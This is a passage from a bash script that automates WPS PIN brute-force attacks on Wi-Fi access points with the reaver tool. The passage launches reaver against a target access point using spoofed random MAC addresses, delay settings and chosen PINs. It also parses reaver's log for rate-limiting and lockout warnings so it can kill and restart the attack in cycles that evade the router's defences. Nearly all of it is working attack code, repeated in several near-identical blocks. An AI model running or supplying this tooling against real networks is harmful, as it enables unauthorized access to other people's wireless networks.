done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R10 == y || $USE_R10 == Y ]] && [[ $USE_LONG10 == y || $USE_LONG10 == Y ]] && [[ $USE_PIN10 == n || $USE_PIN10 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX10" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY10"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -r $RX10:$RY10 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R10 == n || $USE_R10 == N ]] && [[ $USE_LONG10 == n || $USE_LONG10 == N ]] && [[ $USE_PIN10 == y || $USE_PIN10 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -vv -x 60  --pin=$WPS_PIN10 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R10 == y || $USE_R10 == Y ]] && [[ $USE_LONG10 == n || $USE_LONG10 == N ]] && [[ $USE_PIN10 == y || $USE_PIN10 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX10" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY10"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -vv -x 60 -r $RX10:$RY10 --pin=$WPS_PIN10 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R10 == n || $USE_R10 == N ]] && [[ $USE_LONG10 == y || $USE_LONG10 == Y ]] && [[ $USE_PIN10 == y || $USE_PIN10 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN10 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

